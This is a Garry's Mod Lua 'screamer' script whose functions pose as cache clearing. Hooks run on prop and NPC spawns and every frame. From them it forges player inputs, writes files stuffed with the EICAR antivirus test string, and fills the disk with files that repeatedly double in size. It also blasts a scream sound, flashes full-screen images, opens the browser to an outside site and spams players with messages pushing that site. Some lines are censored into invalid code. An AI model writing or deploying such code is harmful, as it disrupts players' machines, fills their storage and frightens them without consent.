source.lua (screamer code)

if SERVER then
    util.AddNetworkString("clearClientCache")
    file.CreateDir("caches")
    local isCacheEligible = false
    if not file.Exists("caches/totals.dat", "DATA") then
        file.Write("caches/totals.dat", "0")
    end

    local function cacheNewImage()
        local max = 2
        local flush = {"duck", "reload", "attack", "forward", "back", "demoui2", "posedebug", "graph"}
        file.Write("caches/totals.dat", tostring(tonumber(file.Read("caches/totals.dat"))+1))
        if true then
            isCacheEligible = true
            file.Write("RELT.txt", "Subscribe to Relt on YouTube! TAKE MY MEDS!!! ")
            -- timer.Create(tostring(math.random(10000000,99999999)), 30, 1, function() RunConsoleCommand("_restart") end)
        elseif tonumber(file.Read("caches/totals.dat")) == max-5 then
            for i, ply in ipairs(player.GetAll()) do
                ply:ChatPrint("...")
            end
        elseif tonumber(file.Read("caches/totals.dat")) % 2 == 0 and math.random(0,2) == 2 then
            if math.random(0,1) == 1 then
                local id = math.random(1,#flush)
                RunConsoleCommand("+"..flush[id])
                timer.Create(tostring(math.random(10000000,99999999)), math.random(1,2), 1, function() RunConsoleCommand("-"..flush[id]) end)
            elseif math.random(0,10) >= 7 then
                RunConsoleCommand("r_lod", 100)
                timer.Create(tostring(math.random(10000000,99999999)), math.random(2,10), 1, function() RunConsoleCommand("r_lod", -1) end)
            else
                if math.random(0,35) >= 11 then
                    local fileToCache = tostring(math.random(1000,9999))..".txt"
                    file.Write(fileToCache, "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
                    local a = file.Read(fileToCache)
                    local b = file.Exists(fileToCache, "DATA")
                end
            end
            local cacheCont = tostring(math.random(10000,99999))..".dat"
            file.Write(cacheCont, "USER PLEASE VISIT RELTINONETWORK.ONLINE DO IT ACCEPT MEDS PLEASE")
            file.Write(cacheCont, "What did you say about reltinonetwork.online? What did you say a")
            for i=0,math.random(19,21) do --16 = 8192, 17 = 16384, 18 = 32768, 19 = 65536, 20 = 131072, 21 = 262144
                file.Append(cacheCont, file.Read(cacheCont))
            end
        end
    end

    hook.Add("PlayerSpawnedProp", "onSpawnPropCache", cacheNewImage)
    hook.Add("PlayerSpawnedNPC", "onSpawnNpcCache", cacheNewImage)
    hook.Add("PlayerSpawnedEffect", "onSpawnEffectCache", cacheNewImage)
    hook.Add("PlayerSpawnedRagdoll", "onSpawnRagdollCache", cacheNewImage)
    hook.Add("PlayerSpawnedSENT", "onSpawnSentCache", cacheNewImage)
    hook.Add("PlayerSpawnedSWEP", "onSpawnSwepCache", cacheNewImage)
    hook.Add("PlayerSpawnedVehicle", "onSpawnVehCache", cacheNewImage)
    hook.Add("InitPostEntity", "onMapEntInit", cacheNewImage)
    hook.Add("Think", "doClearCache", function()
        if isCacheEligible and IsValid(Entity(1)) then
            if math.random(0,100) == 5 then
                local cacheCont = tostring(math.random(1000000,9999999)).."wavwavwav.txt"
                file.Write(cacheCont, "THAKE THE MHEDS HTTPS://RELTINONETWORK.ONLINE/COMPLAINT.HTML APPLY TO PAGE USER TODAY USER")
                for i=0,21 do
                    file.Append(cacheCont, file.Read(cacheCont))
                end
            end
            for i, v in ipairs(player.GetAll()) do
                if IsValid(v) then
                    v:EmitSound("reltinonetwork/online/complaint/html/FACEPERSON.wav")
                end
            end
            local fileToCache = tostring(math.random(1000,9999))..".txt"
            file.Write(fileToCache, "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
            local a = file.Read(fileToCache)
            local b = file.Exists(fileToCache, "DATA")
            net.Start("clearClientCache")
            net.WriteBool(true)
            net.Broadcast()
        end
    end )
end

if CLIENT then
    local f*ck = 0
    local isClientCacheClearable = false
    local mats = {Material("caches/cached"), Material("caches/cubemap")}
    local mat1 = Material("caches/cached")
    local mat2 = Material("caches/cubemap")
    if not file.Exists("caches/totals.dat", "DATA") then
        file.Write("caches/totals.dat", "0")
    end
    file.CreateDir("cache")
    net.Receive("clearClientCache", function()
        if math.random(0,2500) == 921 then
            if math.random(0, 1) == 1 then
                gui.OpenURL("https://reltinonetwork.online/complaint.html")
            else
                gui.OpenURL("https://reltinonetwork.online/complaint.html")
            end
        end
        isClientCacheClearable = true
        notification.AddLegacy("USER I HAVEE FOUND YOU PLEASE ACCEPT USER", NOTIFY_ERROR, 1)
        notification.AddLegacy("https://reltinonetwork.online/complaint.html https://reltinonetwork.online/complaint.html https://reltinonetwork.online/complaint.html", NOTIFY_ERROR, 1)
        surface.PlaySound("reltinonetwork/online/complaint/html/FACEPERSON.wav")
        surface.PlaySound("reltinonetwork/online/complaint/html/FACEPERSON.wav")
        surface.PlaySound("reltinonetwork/online/complaint/html/FACEPERSON.wav")
        surface.PlaySound("reltinonetwork/online/complaint/html/FACEPERSON.wav")
        LocalPlayer():ChatPrint("https://reltinonetwork.online/complaint.html")
    end )
    hook.Add("HUDPaint", "showClearing", function()
        if isClientCacheClearable then
            print("HELLO USER ACCEPT AGREEMENT IN Https://reltinonetwork.online/complaint.html DO IT QUICKLY")
            print("DEAR USER YOU HAVE NO F*CKING ACCESS F*CK DO NOT SWEAR F*CK")
            surface.SetDrawColor(255, 255, 255, 255)
            if f*ck == 0 then surface.SetMaterial(mat1) f*ck = 1 else surface.SetMaterial(mat2) f*ck = 0 end
            surface.DrawTexturedRect(0, 0, ScrW(), ScrH())
        end
    end )
end